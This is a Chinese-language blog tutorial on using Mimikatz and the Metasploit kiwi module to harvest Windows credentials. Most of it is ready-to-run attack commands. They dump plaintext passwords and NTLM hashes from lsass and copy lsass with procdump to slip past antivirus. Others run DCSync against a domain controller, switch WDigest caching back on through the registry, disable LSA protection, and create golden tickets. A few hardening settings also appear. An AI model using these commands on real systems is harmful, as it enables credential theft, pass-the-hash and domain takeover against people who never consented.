Mimikatz的简单使用

  • A+
所属分类:安全工具

mimikatz

mimikatz是法国人Gentil Kiwi 编写的一款 Windows 平台下的神器,它具备很多功能,其中最主要的功能是直接从 lsass.exe 进程里获取处于active状态账号的明文密码。mimikatz的功能不仅如此,它还可以提升进程权限,注入进程,读取进程内存等等,mimikatz包含了很多本地模块,更像是一个轻量级的调试器。作者主页:http://blog.gentilkiwi.com/

mimikatz的使用
查看mimikatz的版本

Mimikatz的简单使用

查看mimikatz中的模块
随便输入 xx:: ,会提示xx模块没发现,然后就会列出所有可用的模块命令

cls:清屏
standard:标准模块,基本命令
crypto:加密相关模块
sekurlsa:与证书相关的模块
kerberos:kerberos模块
privilege:提权相关模块
process:进程相关模块
serivce:服务相关模块
lsadump:LsaDump模块
ts:终端服务器模块
event:事件模块
misc:杂项模块
token:令牌操作模块
vault:Windows 、证书模块
minesweeper:Mine Sweeper模块
net:
dpapi:DPAPI模块(通过API或RAW访问)[数据保护应用程序编程接口]
busylight:BusyLight Module
sysenv:系统环境值模块
sid:安全标识符模块
iis:IIS XML配置模块
rpc:mimikatz的RPC控制
sr98:用于SR98设备和T5577目标的RF模块
rdm:RDM(830AL)器件的射频模块
acr:ACR模块
version:查看版本
exit:退出

Mimikatz的简单使用

查看模块的参数
如果要查看某个模块具体的参数,也是一样用法。比如我要查看kerberos模块有哪些参数,可以 kerberos:: ,这样就会列出该模块具体有哪些参数了。

Mimikatz的简单使用

mimikatz 很多功能的使用需要管理员权限,也就是需要本地的 administrator 权限或者域内的管理员组内权限。如果是工作组环境,则必须得是 administrator 用户,而不能是管理员组内的用户。如果是域环境,则只要是域管理员组内用户即可

privilege::debug             #提升权限

sekurlsa模块
抓取系统明文密码

sekurlsa::logonpasswords

抓取用户NTLM哈希
sekurlsa::msv

加载dmp文件,并导出其中的明文密码
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords full

导出lsass.exe进程中所有的票据
sekurlsa::tickets /export

kerberos模块

列出系统中的票据
kerberos::list
kerberos::tgt

清除系统中的票据
kerberos::purge

导入票据到系统中
kerberos::ptc 票据路径

lsadump模块

(在域控上执行)查看域kevin.com内指定用户root的详细信息,包括NTLM哈希等
lsadump::dcsync /domain:kevin.com /user:root

(在域控上执行)读取所有域用户的哈希
lsadump::lsa /patch

从sam.hive和system.hive文件中获得NTLM Hash
lsadump::sam /sam:sam.hive /system:system.hive

从本地SAM文件中读取密码哈希
token::elevate
lsadump::sam

查看所有的密码

mimikatz.exe privilege::debug log "token::elevate lsadump::sam lsadump::secrets" exit

mimikatz抓取密码

Mimikatz是法国人benjamin开发的一款功能强大的轻量级调试工具,本意是用来个人测试,但由于其功能强大,能够直接读取WindowsXP-2012等操作系统的明文密码而闻名于渗透测试,可以说是渗透必备工具

在windows2012以及以上的系统,以及不能获取的到明文密码了,
但是可以搭配procdump+mimikatz来进行获取密码。
把mimikatz上传到服务器上面,使用如下命令

mimikatz # log
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

这里我获取的是windows2003系统的密码,很顺利就已经获取到了密码了!

Mimikatz的简单使用

msv:这项是账户对于的密码的各种加密协议的密文,可以看到有LM、NTLM和SHA1加密的密文
tspkg,wdigest,kerberos:这个就是账户对于的明文密码了。有的时候这三个对应的也不是全部都是一样的,需要看服务器是什么角色。
SSP:是最新登陆到其他RDP终端的账户和密码

如何防止mimikatz获取密码呢?
mimiktaz是需要管理员权限才能使用mimikatz。如下图,如果我们不是管理员权限的话,是不能够debug的。

Mimikatz的简单使用

在windows中调试权限可以用来调式进程,甚至是调试内核,mimiktaz就是需要通过debug来对进程进行调试。当用户登陆的时候会把账户密码保存到lsass中,经过wdigest和tspkg两个模块的调试之后使用算法进行加密并存储在内存中。mimikatz便是通过逆算法获取到明文密码的!

Mimikatz的简单使用

当我们是普通权限的时候,是没有debug的权限的,如果是administrator权限呢!当然是可以的,我们可以通过对debug权限进行设置即可。在运行窗口输入secpol.msc进入到本地安全策略,点击本地策略进入到用户权限分配中,可以看到调试程序中之后administrator有这个权限。

Mimikatz的简单使用

Mimikatz的简单使用

把添加kevin用户,然后注销在登陆系统,接着使用mimikatz进行获取debug的权限,这个时候已经可以获取到权限抓取明文密码了

Mimikatz的简单使用

WDigest

WDigest协议是在WindowsXP中被引入的,旨在与HTTP协议一起用于身份认证。默认情况下,Microsoft在多个版本的Windows(Windows XP-Windows 8.0和Windows Server 2003-Windows Server 2012)中启用了此协议,这意味着纯文本密码存储在LSASS(本地安全授权子系统服务)进程中。Mimikatz可以与LSASS交互,允许攻击者通过以下命令检索这些凭据:

mimikatz # privilege::debug
mimikatz # sekurlsa::wdigest

Mimikatz的简单使用

值得注意的是
在windows2012系统以及以上的系统之后这个默认是关闭的
如果在 win2008 之前的系统上打了 KB2871997 补丁,那么就可以去启用或者禁用 WDigest。
Windows Server2012及以上版本默认关闭Wdigest,使攻击者无法从内存中获取明文密码。Windows Server2012以下版本,如果安装了KB2871997补丁,攻击者同样无法获取明文密码。配置如下键值:

HKEY_LOCAL_MACHINESystemCurrentControlSetControlSecurityProvidersWDigest

UseLogonCredential 值设置为 0, WDigest 不把凭证缓存在内存;UseLogonCredential 值设置为 1, WDigest 就把凭证缓存在内存。

reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

当在网络维护管理的时候,可以通过查看注册表Wdigest,如果这个选项是0的时候,是不能够回去得到明文密码的。

Mimikatz的简单使用

使用mimikatz获取windows密码的哈,密码这里是显示null的。但是能获取到NTLM和SHA1的加密密文

Mimikatz的简单使用

只要把值给成1的话,就是开启了Wdigest功能

reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

使用mimikatz来获取windows的密码,可以看到这里以及获取到了系统的明文密码

Mimikatz的简单使用

还可以使用powershell来进行更改。

开启Wdigest Auth
Set-ItemProperty -Path HKLM:SYSTEMCurrentCzontrolSetControlSecurityProvidersWDigest -Name UseLogonCredential -Type DWORD -Value 1
关闭Wdigest Auth
Set-ItemProperty -Path HKLM:SYSTEMCurrentCzontrolSetControlSecurityProvidersWDigest -Name UseLogonCredential -Type DWORD -Value 0

但是不获取到明文的话,可以使用hash来进行PTH攻击,可以管理到对方的服务器

LSA保护

如何防止mimikatz获取一些加密的密文进行PTH攻击呢!其实微软推出的补丁KB2871997是专门针对PTH攻击的补丁,但是如果PID为500的话,还是可以进行PTH攻击的!本地安全权限服务(LSASS)验证用户是否进行本地和远程登录,并实施本地安全策略。Windows 8.1及更高版本的系统中,Microsoft为LSA提供了额外的保护,以防止不受信任的进程读取内存或代码注入。Windows 8.1之前的系统,攻击者可以执行Mimikatz命令来与LSA交互并检索存储在LSA内存中的明文密码。当使用如下命令

sekurlsa::logonPasswords

没有这个键或者这个键为0的时候,mimikatz是可以使用这个命令来获取hash或者明文密码的

Mimikatz的简单使用

reg add HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLSA /v RunAsPPL /t REG_DWORD /d 1 /f

使用上面这条命令添加或者修改键的值。设置为1

Mimikatz的简单使用

接着重启服务器,这样即使你获取了debug权限,你也不能获取到明文和hash。

Mimikatz的简单使用

但是如果攻击者的权限够高的话,也是可以修改的,把值修改为0即可。但是需要重启服务器或者注销

reg add HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLSA /v RunAsPPL /t REG_DWORD /d 0 /f

获取高版本windows系统的密码凭证
方法1:
第一种方法就是修改注册表了!也就是WDigest这个选项

reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

修改之后需要重启计算机或者注销。这样做的话比较鸡肋

Mimikatz的简单使用

方法2:
对方系统有杀软的话首先使用procdump把lsass给 dump下来,但是需要管理员权限。procdump是微软的一个小工具。自己的东西当然不会被杀啦!

procdump64.exe -accepteula -ma lsass.exe 1.dmp

Mimikatz的简单使用

接着我们可以把这个文件下载到本地,放在同一个文件夹使用mimikatz读取密码

mimikatz.exe "log" "sekurlsa::minidump 1.dmp" "sekurlsa::logonPasswords full" exit

Mimikatz的简单使用


MSF中kiwi模块的使用

kiwi模块

使用kiwi模块需要system权限,所以我们在使用该模块之前需要将当前MSF中的shell提升为system。提到system有两个方法,一是当前的权限是administrator用户,二是利用其它手段先提权到administrator用户。然后administrator用户可以直接getsystem到system权限。

提权到system权限

getsystem

Mimikatz的简单使用

进程迁移

kiwi模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的,则必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并且查看系统明文。如果目标系统是32位的,则没有这个限制。

Mimikatz的简单使用

Mimikatz的简单使用

Mimikatz的简单使用

kiwi模块的使用

加载kiwi模块
load kiwi
查看kiwi模块的使用
help kiwi

Mimikatz的简单使用

creds_all:列举所有凭据
creds_kerberos:列举所有kerberos凭据
creds_msv:列举所有msv凭据
creds_ssp:列举所有ssp凭据
creds_tspkg:列举所有tspkg凭据
creds_wdigest:列举所有wdigest凭据
dcsync:通过DCSync检索用户帐户信息
dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create:创建黄金票据
kerberos_ticket_list:列举kerberos票据
kerberos_ticket_purge:清除kerberos票据
kerberos_ticket_use:使用kerberos票据
kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam:dump出lsa的SAM
lsa_dump_secrets:dump出lsa的密文
password_change:修改密码
wifi_list:列出当前用户的wifi配置文件
wifi_list_shared:列出共享wifi配置文件/编码

creds_all
该命令可以列举系统中的明文密码

Mimikatz的简单使用

kiwi_cmd
kiwi_cmd 模块可以让我们使用mimikatz的全部功能,该命令后面接 mimikatz.exe 的命令
比如

kiwi_cmd sekurlsa::logonpasswords

Mimikatz的简单使用


文章参考:
http://ji4n.cn/index.php/archives/1029/

https://blog.csdn.net/qq_36119192/article/details/104802921

Mimikatz的简单使用


发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: